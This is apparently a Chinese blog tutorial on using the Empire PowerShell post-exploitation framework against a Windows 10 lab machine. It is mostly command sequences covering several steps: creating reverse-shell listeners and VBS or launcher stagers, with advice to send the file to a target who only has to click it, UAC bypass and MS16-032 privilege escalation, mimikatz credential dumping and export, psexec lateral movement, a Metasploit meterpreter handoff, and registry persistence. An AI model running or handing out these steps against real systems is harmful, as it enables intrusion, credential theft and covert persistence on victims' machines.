Fork me on GitHub

empire入门

参考文献:http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4158.html
http://www.freebuf.com/articles/network/175097.html
https://www.tuicool.com/articles/aQRJnqr
https://www.anquanke.com/post/id/87328
https://www.anquanke.com/post/id/87333

环境

ubuntu16.04
win10(所有防御都没关)

empire简介

Empire是一个针对windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架,包括了从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。

安装

1
2
3
4
5
git clone https://github.com/EmpireProject/Empire.git
cd Empire
cd setup
./install.sh
./reset.sh

设置监听

1
2
3
4
5
6
7
8
lsof -i:80       //查看端口
./empire //打开Empire工具
listeners //建立一个监听
uselistener //设置采用何种模式,空格加双击Tab键可以看到一共有9种模式
uselistener http //设置http监听模式
set Name test //设置相应参数
set Host xxx.xxx.xxx.xxx
execute //运行


生成木马

设置完监听,接着生成木马,输入usestager以后按下空格然后在按下tab键,可以看到总共是26个模块。其中multi为通用模块、osx为mac操作系统,还有linux与windows模块。 生成的文件类型有.dll,bat,vbs等。

1.launcher反弹shell代理

1
launcher python test


生成的内容直接贴到其他linux系统中

1
launcher powershell test


生成的内容直接贴到其他windows系统中(Username带有``的是已提权成功的代理)*
2.vbs反弹shell代理

1
2
3
(Empire: listeners) > usestager windows/launcher_vbs
(Empire: stager/windows/launcher_vbs) > set Listener test
(Empire: stager/windows/launcher_vbs) > execute


生成的vbs文件可以通过xftp下载,并发给你的攻击目标,只要对方一点,就可以拿到目标的shell了

PS:其他的操作类似就不再一一记录了

连接代理及基本使用

1
2
3
4
5
6
7
8
agents                         //回连的靶机
interact UIK16xxx //interact命令跟上刚刚上线的主机Name的名,交互
shell net user //使用cmd命令的时候,要使用`shell+命令`的格式
list stale //查看已丢失的代理
remove stale //移除已丢失的代理
sc //目标截图
Download //下载文件
upload //上传文件

  • usemodule模块

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    (Empire: F76ADxxx) > usemodule
    code_execution #代码执行
    collection #信息收集模块、屏幕截图、键盘记录 、剪贴板记录等
    credentials #密码凭据的获取和转储
    exfiltration #指定ip进行端口扫描
    lateral_movement #横向渗透模块
    management #用来执行些系统设置,和邮件信息的收集
    persistence #权限维持工具
    privesc #权限提升
    recon #侦察
    situational_awareness #评估主机运行环境,网络运行环境
    trollsploit #恶作剧
  • UAC提权模块
    这个需要给电脑上发文件,但是直接被查杀了

    1
    2
    3
    4
    (Empire: agents) > interact A9U38xxx
    (Empire: A9U38xxx) > usemodule privesc/bypassuac
    (Empire: powershell/privesc/bypassuac) > set Listener test
    (Empire: powershell/privesc/bypassuac) > execute
  • 使用Empire内置模块ms16-032提权

    1
    2
    3
    (Empire: A9U38xxx) > usemodule privesc/ms16-032
    (Empire: powershell/privesc/ms16-032) > set Listener test
    (Empire: powershell/privesc/ms16-032) > execute
  • 收集目标有用的信息

    1
    2
    (Empire: A9U38xxx) > usemodule situational_awareness/host/winenum
    (Empire: powershell/situational_awareness/host/winenum) > execute
  • mimikatz模块(只能在windows的环境上使用)

    1
    2
    3
    mimikatz   //需要对带有*的权限才能获取系统账号密码
    creds //查看所有hash值包括明文,数据库中写入的各类凭据
    creds export /root/1.csv //导出hash凭证到指定的路径的格式
  • AllChecks模块(检查提权方法)

    1
    2
    (Empire: A9U38xxx) > usemodule privesc/powerup/allchecks
    (Empire: powershell/privesc/powerup/allchecks) > execute
  • psexec模块横向生成一个反弹代理

    1
    2
    3
    4
    5
    6
    (Empire: S4DU3VSRKR3U1DDF) > usemodule lateral_movement/invoke_psexec
    (Empire: lateral_movement/invoke_psexec) > info
    (Empire: lateral_movement/invoke_psexec) > set Listener test
    (Empire: lateral_movement/invoke_psexec) > set ComputerName DESKTOP-14(`agents`命令下的`Username`的`\`前的名字)
    (Empire: lateral_movement/invoke_psexec) > execute
    Empire: lateral_movement/invoke_psexec) > agents
  • Empire和msf的联动
    利用Empire派生一个meterpreter的shell回来
    在msf下设置监听,通过https的方式反向连接。

    1
    2
    3
    4
    5
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_https
    set lhost xxx.xxx.xxx.xxx
    set lport 443
    exploit

3.png

同样empire也建立个监听

1
2
3
4
5
(Empire: agents) > interact A9U38xxx
(Empire: A9U38xxx) > usemodule code_execution/invoke_shellcode
(Empire: powershell/code_execution/invoke_shellcode) > set Lport 443
(Empire: powershell/code_execution/invoke_shellcode) > set Lhost xxx.xxx.xxx.xxx
(Empire: powershell/code_execution/invoke_shellcode) > execute

  • 权限维持(registry)
    1
    2
    3
    (Empire: 3K5AExxx) > usemodule persistence/elevated/registry*
    (Empire: powershell/persistence/elevated/registry) > set Listener test
    (Empire: powershell/persistence/elevated/registry) > execute

在windows注册表regedit HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug可以看到

-------------本文结束感谢您的阅读-------------